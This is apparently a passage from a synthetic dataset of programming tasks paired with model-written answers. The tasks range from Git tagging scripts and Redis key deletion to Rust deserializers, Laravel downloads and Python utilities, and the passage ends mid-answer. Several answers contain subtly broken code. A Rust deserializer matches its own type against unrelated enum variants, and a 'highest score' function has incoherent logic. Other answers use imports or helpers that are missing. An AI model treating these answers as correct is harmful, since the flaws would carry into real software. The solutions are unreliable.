query stringlengths 22 16.4k | answer stringlengths 0 11.4k | resource stringclasses 4
values | lang stringclasses 148
values |
|---|---|---|---|
You are tasked with creating a script to automate the versioning and tagging of a software project using Git. The script should generate a unique version number and tag for each release. The version number should be derived from the latest Git tag, and if not available, it should default to a timestamp. The tag should ... | ```bash
fill_date=$(date +'%d_%T_%Y') # Generate timestamp in the format "day_hour:minute:second_year"
latest_tag=$(git describe --tags $(git rev-list --tags --max-count=1)) # Retrieve the latest Git tag
if [ -z "$latest_tag" ]; then
VERSION="$fill_date" # Use timestamp as version number if no tag is available... | magicoder | shell |
You are tasked with creating a command-line tool for deleting keys from a database based on specified patterns. The tool will prompt the user for confirmation before proceeding with the deletion. Your task is to implement the logic for confirming the deletion and handling the deletion process based on the user's respon... | ```python
import click
def main(patterns, host, port, db, password, batch, dry_run, restart, disable_cursor_backups, use_regex, sleep):
assert patterns
if not dry_run:
click.echo('This tool will delete ANY key that matches any of the following pattern:\n'
'{}'.format(', '.join(patter... | magicoder | python |
You are tasked with implementing a custom deserialization process for a data structure in Rust. The data structure is represented using an enum called `ValueType`, which has three variants: `Integer`, `Float`, and `Unknown`. The deserialization process involves converting a byte stream into the appropriate value based ... | ```rust
enum ValueType {
Integer(i32),
Float(f32),
Unknown,
}
struct Deserializer;
impl Deserializer {
fn deserialize_bytes<V>(self, visitor: V) -> Result<V::Value>
where
V: Visitor,
{
match self {
ValueType::Integer(value) => visitor.visit_integer(value),
... | magicoder | rust |
You are working on a document management system for a company. The system uses Laravel framework for backend development. You need to implement a feature that allows users to download documents stored in the system. The documents are stored in the "local" storage using Laravel's Storage facade. The code snippet provide... | ```php
public function downloadDocument($file) {
$document = DB::table('documentos')
->join('doc_ver', 'doc_ver.documentos_id', 'documentos.id')
->join('version', 'version.id', 'doc_ver.version_id')
->select('documentos.id', 'documentos.nombre', 'documentos.archivo', 'area.nombre as area', '... | magicoder | php |
You are tasked with creating a Python script that generates a migration file for a Django application. In Django, migration files are used to manage changes to the database schema over time. These files are created using the `makemigrations` command, which analyzes the current state of the models and creates the necess... | ```python
def generate_migration_file(app_name, dependencies):
migration_file_content = f"from django.db import migrations\n\n" \
f"class Migration(migrations.Migration):\n" \
f" dependencies = [\n" \
f" ('{app_name}', '{d... | magicoder | python |
You are tasked with implementing a custom setter extension in Swift for focusing on a specific index of a structure. The extension should be able to work with a structure that conforms to the `At` protocol, and it should return a setter that points to the focused index.
Your task is to complete the implementation of t... | ```swift
// MARK: Extension when focus has `At` Instance
public extension Setter where A: At {
/// Focuses on a specific index of this setter.
///
/// - Parameter i: Index to focus.
/// - Returns: A setter from this structure to the focused index.
func at(_ i: A.AtIndex) -> Setter<S, A.AtFoci> {
... | magicoder | swift |
You are tasked with implementing a Monte Carlo simulation to estimate the value of π using random points within a unit square.
You are given a function `calculate` that takes no arguments and returns an estimate of π using the Monte Carlo method. Inside the `calculate` function, you need to generate a large number of... | ```rust
use rand::Rng;
struct MonteCarloPiEstimator;
impl MonteCarloPiEstimator {
fn calculate(&self) -> f64 {
let mut circle_points = 0;
let total_points = 1000000; // Number of random points to generate
let mut rng = rand::thread_rng();
for _ in 0..total_points {
le... | magicoder | rust |
You are tasked with creating a Python function that simulates a simplified version of a Docker registry. Your function should take in a list of Docker image names and a list of commands, and then execute the commands on the images. The commands can be either "push" to add an image to the registry or "pull" to retrieve ... | ```python
from typing import List
def docker_registry(images: List[str], commands: List[str]) -> List[str]:
registry = set()
result = []
for command in commands:
action, image = command.split()
if action == "push":
if image in registry:
result.append("Image ... | magicoder | python |
You are tasked with implementing a generic repository pattern for a data access layer in a C# application. The repository pattern is a common way to abstract the data access logic from the rest of the application, providing a consistent interface for data operations. Your task is to create a generic repository class th... | ```csharp
using System;
using System.Collections.Generic;
using System.Linq.Expressions;
public class GenericRepository<TEntity> where TEntity : class
{
private readonly DbContext _context; // Replace DbContext with your actual data context type
public GenericRepository(DbContext context)
{
_conte... | magicoder | csharp |
You are tasked with creating a custom blockchain runtime module for a decentralized application platform. The module should implement a simple voting system where users can submit their votes for a specific proposal. Each vote is represented as an extrinsic and should be signed by the voter's account. The voting module... | ```rust
// Import necessary modules and traits
use frame_support::{decl_module, decl_storage, decl_event, dispatch, ensure};
use frame_system::ensure_signed;
use sp_runtime::traits::{BlakeTwo256, IdentifyAccount, Verify};
// Define the Voting module
pub trait Trait: frame_system::Trait {
type Event: From<Event<Sel... | magicoder | rust |
You are tasked with creating a TypeScript mixin that ensures a class has all the required variables for a given Apollo GraphQL subscription. The mixin should check if the class has all the necessary variables defined and throw an error if any are missing.
You are provided with the following code snippet as a starting ... | ```typescript
function EnsureSubscriptionVariablesMixin<TBase extends Constructor<ApolloElementElement>>(Base: TBase, options: SubscriptionOptions): TBase {
return class extends Base {
constructor(...args: any[]) {
super(...args);
const missingVariables = Object.keys(options.variables).filter(variable... | magicoder | typescript |
You are tasked with implementing a service in an Angular application that interacts with a Firebase Realtime Database using AngularFire. Your goal is to complete the implementation of the `SmartTableService` by adding methods to perform CRUD (Create, Read, Update, Delete) operations on a specific data collection in the... | ```typescript
import { Injectable } from '@angular/core';
import { AngularFireDatabase, AngularFireList } from 'angularfire2/database';
import { Observable } from 'rxjs';
@Injectable()
export class SmartTableService {
private itemsRef: AngularFireList<any>;
constructor(private db: AngularFireDatabase) {
this.... | magicoder | typescript |
You are tasked with creating a custom error handling system for a version control software tool. The tool has a variety of error types that need to be handled, and you are responsible for implementing the error classes and a base executor class.
Your task is to create custom error classes for the following error types... | ```python
import logging
from typing import TYPE_CHECKING
class ApplyConflictError(Exception):
"""Custom error class for apply conflict errors."""
pass
class BaselineMismatchError(Exception):
"""Custom error class for baseline mismatch errors."""
pass
class InvalidExpRevError(Exception):
"""Custo... | magicoder | python |
You are tasked with creating a program to simulate an ATM cash withdrawal process. The program should prompt the user to input the desired withdrawal amount and then calculate the optimal combination of banknotes to dispense the requested amount. The available banknotes for withdrawal are 50, 20, 10, and 1.
Your task ... | ```python
def withdraw_cash(amount):
if not isinstance(amount, int) or amount <= 0:
return "Invalid input amount"
banknotes = [50, 20, 10, 1]
result = {}
remaining_amount = amount
for note in banknotes:
count = remaining_amount // note
result[note] = count
remaining... | magicoder | python |
You are tasked with creating a Python class method that processes financial data and returns a summary of income within a specified date range. The method should take in a start date and an end date, and then retrieve income data from the accounts. The income data is structured as a dictionary with various income categ... | ```python
class FinancialProcessor:
def __init__(self, accounts_data):
self.accounts_data = accounts_data
def process_accounts(self, category, start_date, end_date):
filtered_accounts = {k: v for k, v in self.accounts_data.items() if start_date <= v["date"] <= end_date and v["category"] == cate... | magicoder | python |
You are tasked with implementing a function that processes a set of input parameters and performs specific operations based on the given requirements. The function signature is as follows:
```cpp
void processFunction(
Offset targetBcOff,
ExitFlag flag,
std::vector<SSATmp*>& stackValues,
const CustomExi... | ```cpp
void processFunction(
Offset targetBcOff,
ExitFlag flag,
std::vector<SSATmp*>& stackValues,
const CustomExit& customFn,
TransFlags trflags
) {
switch (flag) {
case ExitFlag::IMMEDIATE:
// Immediate exit
return;
case ExitFlag::CUSTOM:
// ... | magicoder | cpp |
You are given a string `s` consisting of lowercase English letters. Your task is to write a function `countPalindromes` to determine the number of palindromic substrings in the given string. A palindromic substring is a substring that reads the same forwards and backwards.
The function signature is:
```java
public int... | ```java
public int countPalindromes(String s) {
int count = 0;
for (int i = 0; i < s.length(); i++) {
// Expand around the current character to find palindromic substrings with odd length
count += expandAroundCenter(s, i, i);
// Expand around the current character and its right neighbor ... | magicoder | java |
You are working on a turn-based strategy game where units have various skills that can be used at the end of their turn. Each skill has a corresponding effect that can impact the game arena. Your task is to implement a function that executes the turn-end effects for a given set of skills belonging to a unit and returns... | ```python
def unit_turn_end_all(skills: Iterable[Skill], unit: ActiveUnit, arena: ActiveArena, actions: List[Dict]) -> List[Dict]:
"""
Executes the unit_turn_end_effect for all given skills, if such exists, returning a
list of their cumulative output
:param skills: skills to use
:param unit: the uni... | magicoder | python |
You are working on a Swift application that involves defining styles for various UI elements. The code snippet provided is a part of a `Style` enum that represents different visual styles for elements such as buttons, labels, etc. Each case of the enum represents a different style, and the `highlighted` property return... | ```swift
func highlightedStyle(for style: Style) -> Style {
switch style {
case let .filled(rounding, color, _):
return .filled(rounding: rounding, color: color, alpha: Style.highlightedAlpha)
case let .bordered(rounding, lineWidth, color, _):
return .bordered(rounding: rounding, lineWidth: lineWidth, col... | magicoder | swift |
You are given a list of integers representing the weights of packages to be loaded onto a truck. The truck has a weight capacity, and your task is to find the maximum total weight that can be loaded onto the truck without exceeding its capacity. You can assume that the list of weights is non-empty and that the weight c... | ```python
def max_weight(weights, capacity):
max_weight = 0
for r in range(1, len(weights) + 1):
combinations = itertools.combinations(weights, r)
for combo in combinations:
if sum(combo) <= capacity and sum(combo) > max_weight:
max_weight = sum(combo)
return max_... | magicoder | python |
You are tasked with implementing a simplified version of an I2C (Inter-Integrated Circuit) controller in C++. The I2C protocol is a widely used serial communication protocol for connecting low-speed peripherals to a motherboard, embedded system, or microcontroller. In this problem, you will be implementing the core fun... | ```cpp
#include <cstdint>
namespace sys {
class I2CController {
public:
void startTransmission(int address) {
// Implementation of initiating a transmission to the specified I2C device address
}
void writeByte(uint8_t data) {
// Implementation of writing a singl... | magicoder | cpp |
You are tasked with implementing a Python class that provides functionality for searching through a list of dictionaries representing the content of the `/proc/keys` file. The class should allow users to search for specific key-value pairs within the dictionaries and return a list of matching dictionaries.
Your task i... | ```python
class ProcKeys:
def __init__(self, keys_list):
self.keys_list = keys_list
def search(self, **kwargs):
results = []
for key_dict in self.keys_list:
match = True
for k, v in kwargs.items():
if '__contains' in k:
key, op... | magicoder | python |
You are given a list of floating-point numbers. Your task is to implement a function `filter_positive` that takes this list as input and returns a new list containing only the positive numbers from the input list. If the input list is empty or does not contain any positive numbers, the function should return an empty l... | ```python
from typing import List
def filter_positive(numbers: List[float]) -> List[float]:
return [num for num in numbers if num > 0]
``` | magicoder | python |
You are tasked with implementing a Java program that simulates a simple text editor. The provided code snippet is a part of the GUI setup for the text editor. The `add(blankArea)` function adds a blank area to the GUI, and then a `JTextArea` named `textArea` is created and set to be non-editable. A `JScrollPane` named ... | ```java
import javax.swing.*;
import java.io.*;
public class TextEditor {
private JTextArea textArea;
private JScrollPane scrollPane;
// Other GUI setup code...
public void saveToFile(String fileName) {
try (PrintWriter writer = new PrintWriter(new FileWriter(fileName))) {
writer.... | magicoder | java |
You are tasked with implementing a Python class that extends the functionality of an AnimatedSprite to create a BackgroundSprite. The BackgroundSprite class should be capable of handling background images for a game or graphical application. Your task is to complete the implementation of the BackgroundSprite class by a... | ```python
from Utils.Paths import MAP_IMAGES_PATH
from Views.Sprites.AnimatedSprite import AnimatedSprite
class BackgroundSprite(AnimatedSprite):
def __init__(self, background_name, use_full_path=False, is_image=False, location=(0, 0)):
super().__init__()
self.location = location
self.imag... | magicoder | python |
You are working on a data analysis project that involves scraping datasets and indicators from various sources. The code snippet provided calls two functions, `datasets_scrape` and `indicators_scrape`, passing a `workspace` object as an argument. Your task is to implement these functions to scrape and process the requi... | ```python
def datasets_scrape(workspace):
# Implement dataset scraping logic using workspace information
# Example:
# for source in workspace.sources:
# data = scrape_data_from_source(source)
# process_and_store_data(data)
def indicators_scrape(workspace):
# Implement indicator scraping... | magicoder | python |
You are tasked with implementing a function to filter a tree-like data structure based on a set of selected IDs. The tree is represented as a list of dictionaries, where each dictionary represents a node in the tree. Each node dictionary contains an "id" key with a unique identifier, and a "children" key with a list of... | ```python
from typing import List, Dict, Union, Any, Set
def filter_tree(tree: List[Dict[str, Union[int, List[Dict[str, Any]]]], selected_ids: Set[int]) -> List[Dict[str, Union[int, List[Dict[str, Any]]]]:
filtered_replies = []
for subtree in tree:
filtered_subtree = filter_subtree(subtree, selected_i... | magicoder | python |
You are tasked with creating a Python function that processes a JSON file containing information about users and their followers on a social media platform. The function should read the JSON file, identify a list of safe user IDs, and then use an API to set the reel block status for these safe user IDs to 'block'. Fina... | ```python
import json
def block_user_stories(file_path: str, api: API) -> None:
with open(file_path, 'r') as file:
data = json.load(file)
safe_user_ids = identify_safe_user_ids(data)
api.set_reel_block_status(safe_user_ids, 'block')
print("All your followers can not see your stories... | magicoder | python |
You are tasked with implementing a Python class that models electronic components and their connections. The class should allow for the creation of components, addition of pins, connection of components, and addition of subcomponents to other components.
Your task is to complete the implementation of the `Component`, ... | ```python
class Pin:
def __init__(self, name):
self.name = name
class Input(Pin):
pass
class Output(Pin):
pass
class Component:
def __init__(self, name):
self.name = name
self.pins = {}
self.connections = {}
self.subcomponents = {}
def add_pin(self, pin):
... | magicoder | python |
You are given a configuration string `config_str` representing a decay chain of particles and their decay products. Each particle is represented by a key, and its decay products are listed as values. The decay chain starts with the top-level particle and progresses through subsequent decay products. The format of the c... | ```python
from typing import List
def find_decay_chain(config_str: str, particle_name: str) -> List[str]:
config_dict = {}
exec(config_str, {}, config_dict) # Convert config_str to dictionary
decay_dict = config_dict['decay']
decay_chain = []
def traverse_decay(particle):
decay_chain.app... | magicoder | python |
You are tasked with implementing a function that simulates a simplified version of a command-line interface for a virtual machine. The virtual machine runs on an aarch64 platform and executes x86_64 code. Your task is to parse the command input and execute the corresponding actions.
You are given a partial code snippe... | ```rust
fn process_command(command: &str) -> String {
let mut output = String::new();
if command.starts_with("compile") {
let function_name = command.split_whitespace().nth(1);
if let Some(name) = function_name {
output.push_str(&format!("Compiling function: {}\n", name));
... | magicoder | rust |
You are tasked with creating a bash script that takes two arguments: `SELF_IPV4` and `ALL_SERVERS_IPV4`. The script should perform a specific task using these arguments.
Your task is to write a bash script that extracts the last octet of the `SELF_IPV4` and appends it to each octet of `ALL_SERVERS_IPV4` to form new I... | ```bash
#!/bin/bash
SELF_IPV4=$1
ALL_SERVERS_IPV4=$2
# Extract last octet of SELF_IPV4
LAST_OCTET_SELF=$(echo $SELF_IPV4 | awk -F'.' '{print $4}')
# Loop through each server IP and append last octet of SELF_IPV4
for SERVER_IPV4 in $ALL_SERVERS_IPV4
do
# Extract each octet of the server IP
IFS='.' read -r -a ... | magicoder | shell |
You are tasked with implementing a message queuing system for a distributed messaging application. The system should allow messages to be stored in a queue and sent to a target when a listener becomes available. However, the queuing system must be memory-efficient while ensuring reliable message delivery.
Your task is... | To address the problem of balancing memory consumption and reliability in a message queuing system, you can implement a priority queue data structure. The priority queue will allow messages to be stored based on their priority and sent to listeners when they become available.
Here's a Python implementation of a priori... | magicoder | python |
You are tasked with creating a Python logging utility that allows for flexible configuration of log levels and formatting. Your task is to implement a class `CustomLogger` that encapsulates the functionality of setting up logging with different levels and formatting options.
The `CustomLogger` class should have the fo... | ```python
import logging
class CustomLogger:
def __init__(self, name):
self.logger = logging.getLogger(name)
def set_level(self, level):
self.logger.setLevel(level)
def add_stream_handler(self, level):
ch = logging.StreamHandler()
ch.setLevel(level)
self.logger.add... | magicoder | python |
You are tasked with implementing a simple inventory system for a video game. The inventory system should be able to store different types of items, such as weapons, armor, and consumables. To achieve this, you need to create a set of Rust traits and data structures to represent the items and the inventory itself.
Your... | ```rust
// Define the Item trait
trait Item {
fn display_info(&self) -> String;
}
// Implement the Item trait for Weapon
struct Weapon {
name: String,
damage: u32,
}
impl Item for Weapon {
fn display_info(&self) -> String {
format!("Weapon: {} - Damage: {}", self.name, self.damage)
}
}
//... | magicoder | rust |
You are tasked with implementing a cookie management system for a web crawler. The system should be able to extract and update cookies from HTTP responses, while also handling automatic redirections. Your task is to design a class that encapsulates this functionality.
Your class, named `CookieManager`, should have the... | ```python
class CookieManager:
def __init__(self):
self.cookies = {}
def extractCookies(self, response):
headers = response.headers
if 'Set-Cookie' in headers:
cookie_header = headers['Set-Cookie']
cookies = cookie_header.split(',')
for cookie in cook... | magicoder | python |
You are tasked with implementing a compression algorithm for a set of image channels. The algorithm takes as input a list of channels, uncompressed image data, a rectangular region, and a boolean flag indicating whether to optimize flat fields. Your goal is to design a function that compresses the image data based on t... | ```rust
use std::io::Error as IOError;
// Define the ChannelList and IntegerBounds types for demonstration purposes
type ChannelList = Vec<Channel>;
type Bytes<'a> = &'a [u8];
type IntegerBounds = (usize, usize, usize, usize);
// Define the CompressedData and CompressionError types for demonstration purposes
type Com... | magicoder | rust |
You are tasked with implementing a function to convert a hexadecimal string to its corresponding GUID (Globally Unique Identifier) representation. A GUID is a 128-bit value often represented as a 32-character hexadecimal string in the format "8-4-4-4-12" (e.g., "550e8400-e29b-41d4-a716-446655440000").
Write a function... | ```cpp
#include <string>
#include <stdexcept>
struct GUID
{
unsigned long Data1;
unsigned short Data2;
unsigned short Data3;
unsigned char Data4[8];
};
// Function to convert a hexadecimal string to GUID
GUID hexStringToGuid(const std::string& hexString)
{
if (hexString.size() != 32) {
thr... | magicoder | cpp |
You are tasked with implementing a function that takes a string as input and returns the count of each unique character in the string. The function should ignore spaces and be case-insensitive. For example, given the input "Hello World", the function should return a dictionary with the counts of each character, ignorin... | ```python
def count_unique_characters(input_string):
char_count = {}
input_string = input_string.replace(" ", "").lower()
for char in input_string:
if char in char_count:
char_count[char] += 1
else:
char_count[char] = 1
return char_count
```
The `count_unique_cha... | magicoder | python |
You are tasked with creating a program that manages the lunch menu options for a company cafeteria. The program should allow users to add new lunch combos to the menu and display the current available options.
Your task is to implement a LunchMenu class with the following functionalities:
1. A method `add_combo` that ... | ```python
class LunchMenu:
def __init__(self):
self.combos = []
def add_combo(self, combo):
self.combos.append(combo.split("-")[0])
def display_menu(self):
print("Available Lunch Combos:")
for idx, combo in enumerate(self.combos, start=1):
print(f"{idx}. {combo}... | magicoder | python |
You are tasked with implementing a program to manage a collection of spells for different classes in a fantasy role-playing game. Each spell is represented by a unique name and a corresponding image. Your goal is to create a class that can efficiently store and retrieve these spells based on their names.
You are provi... | ```csharp
using System;
using System.Collections.Generic;
using System.Drawing;
public class SpellManager
{
private Dictionary<string, Bitmap> spellImages;
public SpellManager()
{
spellImages = new Dictionary<string, Bitmap>();
}
public void AddSpell(string spellName, Bitmap spellImage)
... | magicoder | csharp |
You are working on a molecular dynamics simulation program that tracks the movement of particles in a system. The given code snippet is part of a larger program and is responsible for logging certain information and writing cell data to VASP files. Your task is to implement a function that processes the logged data and... | ```python
def process_logs(logged_data):
processed_data = {}
# Extract minimum value of dt
dtt = [entry['dt'] for entry in logged_data]
processed_data['min_dt'] = min(dtt)
# Extract unique values of i and j
unique_i = set(entry['i'] for entry in logged_data)
unique_j = set(entry['j'] for e... | magicoder | python |
You are tasked with implementing a C++ class that performs numerical quadrature for 1D integration in the context of 2D quadratic elements. The class should handle the calculation of quadrature points and weights, as well as the evaluation of the integrand at these points. The quadrature data is provided in the "Quadra... | ```cpp
#include "data/QuadratureData1Din2DQuadratic.hh"
#include "pylith/utils/error.h"
class Quadrature1Din2DQuadratic {
private:
QuadratureData1Din2DQuadratic quadratureData;
public:
void initializeQuadratureData() {
// Initialize quadrature data here
// Example: quadratureData.initialize();... | magicoder | cpp |
You are tasked with implementing a Minecraft mod that simulates the operation of an "Obsidian Reactor." The reactor has a working state, and when it is operational, it has a chance to play a lava ambient sound at its location. Your goal is to create a method that determines whether the reactor should play the sound and... | ```java
public class BlockEntityObsidianReactor extends BlockEntity {
// Other methods and fields
public boolean shouldPlaySound(BlockState state, Random random) {
return state.get(WORKING) && random.nextInt(200) == 0;
}
public void playLavaAmbientSound(World world, BlockPos pos, Random random... | magicoder | java |
You are tasked with implementing a function to perform a binary search to find the median of a sorted array of integers. The function should take the sorted array as input and return the median value. The median is the middle value in an ordered integer list. If the size of the list is even, there is no single middle v... | ```python
def find_median(nums):
n = len(nums)
if n % 2 == 0:
return (nums[n // 2 - 1] + nums[n // 2]) / 2
else:
return nums[n // 2]
```
The `find_median` function first checks if the length of the input list is even or odd. If it's even, it returns the average of the two middle values; if i... | magicoder | python |
You are given a list of integers representing the scores of a game. Your task is to write a function that returns the highest score that can be achieved by removing exactly one element from the list. If there are multiple highest scores possible, return the maximum one.
Write a function `highest_score` that takes in a... | ```python
def highest_score(scores):
max_score = max(scores)
if scores.count(max_score) > 1:
return max_score * 2
else:
scores.remove(max_score)
return max(scores)
```
The `highest_score` function first finds the maximum score in the list using the `max` function. If there are multip... | magicoder | python |
You are tasked with implementing a function to initialize a convolutional transpose layer for a neural network. The function should handle different precision modes and specific stride configurations. The code snippet provided is a part of a larger codebase and demonstrates the initialization process for the convolutio... | ```python
class NotSupportedError(Exception):
pass
def initConvTransposeLayer(device, precision, stride):
if precision == "Float16":
if stride == [2, 2]:
return "conv_transpose2x2_stride2_half"
else:
raise NotSupportedError("Convolutional transpose with given stride not ... | magicoder | python |
You are working on a data processing project and need to write a Python function to perform a specific task. The function is intended to process data from different phases and concatenate the values into a single vector. Additionally, the function needs to handle file counting and figure size determination based on cer... | ```python
import numpy as np
def process_data(phases, case, x_var, x_unit, figsize=None):
val_list = []
x_vecs = []
for phase in phases:
val_list.append(case.get_val(phase + '.' + x_var, units=x_unit))
x_vec = np.concatenate(val_list)
x_vecs.append(x_vec)
file_counter = -1
counter... | magicoder | python |
You are tasked with simulating the behavior of a container runtime environment using a simplified set of commands. The given code snippet is a part of a test suite for a container runtime environment, and it contains a set of commands to manage pods and containers. Your task is to implement a function that processes th... | ```python
def process_commands(commands):
runtime_environment = {}
for command in commands:
if command == "start_crio":
# Initialize the container runtime environment
pass # Placeholder for actual implementation
elif command.startswith("crictl runp"):
# Cre... | magicoder | python |
You are tasked with creating a script to automate the installation of a specific version of the BeeGFS parallel file system on a Linux system. The provided code snippet is the beginning of a shell script that sets up the environment and initializes a variable for the BeeGFS version.
Your task is to complete the script... | ```bash
#!/bin/bash
set -e
export LANG=en_US.UTF-8 # to avoid the "Failed to set locale, defaulting to C" yum error message
BEEGFS_VER=${1-7_1}
# Check if required dependencies are installed
if ! command -v wget &> /dev/null; then
echo "Error: wget is not installed. Please install wget and run the script again."
... | magicoder | shell |
You are tasked with creating a Node.js module that automates the process of taking a snapshot of a Git repository using the "git-snapshot" and "simple-git" modules. Your module should provide a function that takes in the URL of a Git repository, a branch name, and a destination directory. The function should then clone... | ```javascript
// gitSnapshot.js
const git = require('simple-git/promise');
const snapshot = require('git-snapshot');
const path = require('path');
const fs = require('fs-extra');
/**
* Clones a Git repository, checks out the specified branch, and saves a snapshot at the destination directory.
* @param {string} repoU... | magicoder | javascript |
You are tasked with implementing a program that can parse and extract license information from a given source code file. The license information is typically found within comments at the beginning of the file and follows a specific format. The license text is enclosed within comment delimiters and may span multiple lin... | ```python
def extractLicense(source_code):
lines = source_code.split('\n')
license_text = ''
in_multi_line_comment = False
for line in lines:
line = line.strip()
if line.startswith('/*'):
in_multi_line_comment = True
line = line.lstrip('/*').strip()
if in... | magicoder | python |
You are tasked with implementing a program to visualize the Mandelbrot set using the Escape Time algorithm. The Mandelbrot set is a set of complex numbers for which the function f(z) = z^2 + c does not diverge when iterated from z = 0. The Escape Time algorithm determines the color of each point in the complex plane ba... | ```rust
extern crate num;
use num::Complex;
fn mandelbrot_visualization(bounds: (Complex<f64>, Complex<f64>), width: usize, height: usize, max_iterations: u32) -> Vec<Vec<u8>> {
let mut image = vec![vec![0; width]; height];
for (i, row) in image.iter_mut().enumerate() {
for (j, pixel) in row.iter_mut(... | magicoder | rust |
You are tasked with implementing a Font Manager class in C++ to handle the management of fonts for a text rendering system. The Font Manager class should support adding, removing, and retrieving fonts, as well as providing a default font.
Your task is to complete the implementation of the Font Manager class by adding ... | ```cpp
#include <vector>
#include <memory>
class Font {
// Define the Font class as per the requirements
};
#include "PX2FontManager.inl"
class FontManager {
public:
using FontPtr = std::shared_ptr<Font>;
void AddFont(const FontPtr& font) {
mFonts.push_back(font);
}
void RemoveFont(cons... | magicoder | cpp |
You are tasked with implementing a word count functionality for a MongoDB collection using Python. Your task is to complete the `WordCount` class by adding methods to perform the word count and store the results in a target collection.
The `WordCount` class has been initialized with the following attributes:
- `client... | ```python
import pymongo
from bson.son import SON
import re
MAX_WORD_LENGTH = 200
class WordCount(object):
def __init__(self, client_url, sourceDatabaseStr, sourceCollectionStr, targetDatabaseStr, targetCollectionStr):
self.client = pymongo.MongoClient(client_url)
self.sourceDatabase = sourceData... | magicoder | python |
You are tasked with implementing a secure file encryption and decryption system using Node.js. Your goal is to create a program that can encrypt a given file using a symmetric encryption algorithm and then decrypt the encrypted file back to its original form. You will be using the `crypto` module in Node.js to achieve ... | ```typescript
// lib/index.ts
import fs from 'fs';
import crypto from 'crypto';
async function encryptFile(inputFilePath: string, outputFilePath: string, key: string): Promise<void> {
const inputBuffer = fs.readFileSync(inputFilePath);
const cipher = crypto.createCipheriv('aes-256-ctr', key, Buffer.alloc(16, 0));
... | magicoder | typescript |
You are tasked with implementing a greedy covering algorithm for directed acyclic graphs (DAGs). The algorithm should find a minimum set of vertices that cover all the edges in the DAG. The provided code snippet imports the `GreedyCovering` class from the `dag_rewrite` module, which likely contains the implementation o... | ```python
from collections import defaultdict
class GreedyCovering:
def __init__(self):
pass
def find_min_vertex_cover(self, graph):
# Create a copy of the graph to avoid modifying the original
graph_copy = defaultdict(list)
for vertex in graph:
graph_copy[vertex] =... | magicoder | python |
You are tasked with implementing a callback system for a game development framework called Angel2d. The framework uses a class called `String` to represent strings. Your goal is to create a callback system that allows developers to register callback functions with specific names.
You need to implement a class `Callbac... | ```cpp
#include <unordered_map>
#include <functional>
#include <iostream>
class String {
public:
String(const char* str) {
// Implementation not relevant for this problem
}
// Other methods and members are not relevant for this problem
};
class CallbackManager {
private:
std::unordered_map<Str... | magicoder | cpp |
You are tasked with creating a script to automate the performance profiling of a binary using `perf` and generating a Flame Graph for visualization. The script should handle setting up the necessary environment variables, running the `perf` tool, and then generating the Flame Graph.
Your script should take the followi... | ```bash
#!/bin/bash
# Change directory to the parent directory
cd ..
# Set the binary path
binary="build/benchmark/slot_iterator_benchmark"
# Set the FlameGraph directory path
FlameGraphDir="../FlameGraph"
# Add FlameGraph directory to the system PATH
export PATH=$FlameGraphDir:$PATH
# Run perf record with specifi... | magicoder | shell |
You are tasked with implementing a utility class for handling 64-bit unsigned integer vectors in a C++ framework. The provided code snippet initializes two constants, `Vec64UInt32Min` and `Vec64UInt32Max`, with the minimum and maximum values of a 64-bit unsigned integer, respectively.
Your task is to create a C++ clas... | ```cpp
#include <iostream>
#include <vector>
#include <cstdint>
#include <algorithm>
class UInt64Vector {
private:
std::vector<uint64_t> m_Vector;
public:
// Constructor to initialize the vector with a given value
UInt64Vector(uint64_t value) : m_Vector(64, value) {}
// Method to perform addition of ... | magicoder | cpp |
You are tasked with implementing a custom iterator in Rust that iterates over a collection of elements and returns the next element upon each invocation of the `next` method. The provided code snippet is a partial implementation of the iterator trait in Rust. Your task is to complete the implementation of the custom it... | ```rust
use std::marker::PhantomData;
struct CustomIterator<T> {
data: Vec<T>,
index: usize,
count: u32,
_marker: PhantomData<T>,
}
impl<T> CustomIterator<T>
where
T: FromBytes + Clone,
{
fn new(data: Vec<T>) -> Self {
let count = data.len() as u32;
CustomIterator {
... | magicoder | rust |
You are tasked with creating a Rust trait and implementing it for a middleware struct. The trait, `Transform`, is intended to be implemented for a service `S` with a response body of type `B`. The `MetricsMiddleware` struct is expected to implement this trait, ensuring that the service `S` meets certain requirements.
... | ```rust
// Define the Transform trait
trait Transform<S> {
fn transform(&self, service: S) -> Self;
}
// Implement the Transform trait for MetricsMiddleware
impl<S, B> Transform<S> for MetricsMiddleware
where
S: Service<Request = ServiceRequest, Response = ServiceResponse<B>, Error = Error>,
S::Future: 'st... | magicoder | rust |
You are tasked with implementing a function that validates a JSON schema against a given input object. The JSON schema is represented using the JSONSchema4 type, and the input object is represented using the Document type. The function should check if the input object adheres to the constraints specified in the JSON sc... | ```typescript
type JSONSchema4 = {
// JSON schema definition
}
type Document = {
// Input object definition
}
const booleanTemplate = (schema: JSONSchema4 = {}, name = '', value?: boolean) => {
// Implementation of booleanTemplate function
}
const getTitle = (schema: JSONSchema4, name: string, type: string) =>... | magicoder | typescript |
You are tasked with implementing a Python class for estimating dimension reduction and cognitive model parameters using the Cholesky factorization method. The Cholesky factorization is a decomposition of a Hermitian, positive-definite matrix into the product of a lower triangular matrix and its conjugate transpose. You... | ```python
import numpy as np
class CholeskyEstimator:
def __init__(self, L_flat):
"""
Cholesky factor of the RSA matrix.
"""
self.L_flat = L_flat
def fit(self, X, y, naive_init=True):
""" Estimate dimension reduction and cognitive model parameters
Args:
... | magicoder | python |
You are tasked with creating a Python function that performs common subexpression elimination (CSE) on a given set of symbolic expressions and generates code for the optimized expressions. CSE is a compiler optimization technique that identifies repeated subexpressions within a set of expressions and computes them only... | ```python
import sympy
import io
def cse_codegen(symbols):
# Perform common subexpression elimination
cse_results = sympy.cse(symbols, sympy.numbered_symbols("c"))
# Generate code for the optimized expressions
output = io.StringIO()
for common, (temp, expr) in cse_results[0]:
output.wr... | magicoder | python |
You are tasked with implementing a custom asynchronous operation manager in Swift. The manager should support delayed asynchronous execution of tasks and provide a mechanism for handling both successful and error scenarios. Your task is to create a class that encapsulates this functionality and write a method to demons... | ```swift
class CustomAsyncManager {
func asyncDelay(_ delay: TimeInterval, task: @escaping () -> Void, completion: @escaping (Error?) -> Void) {
DispatchQueue.main.asyncAfter(deadline: .now() + delay) {
task()
// Simulating success or error scenario
let success = Bool.ran... | magicoder | swift |
You are tasked with implementing a custom macro for a Rust application that deals with an Internet Relay Chat (IRC) client. The macro is intended to generate code for converting a struct into its owned version and implementing a custom debug trait for the struct.
The macro `into_inner_raw!` is used to generate code fo... | ```rust
// Define the IrcReady struct
struct IrcReady {
raw: String,
username: String,
}
// Implement the implement_irc_ready macro
macro_rules! implement_irc_ready {
($struct_name:ident { $($field:ident),* }) => {
impl $struct_name {
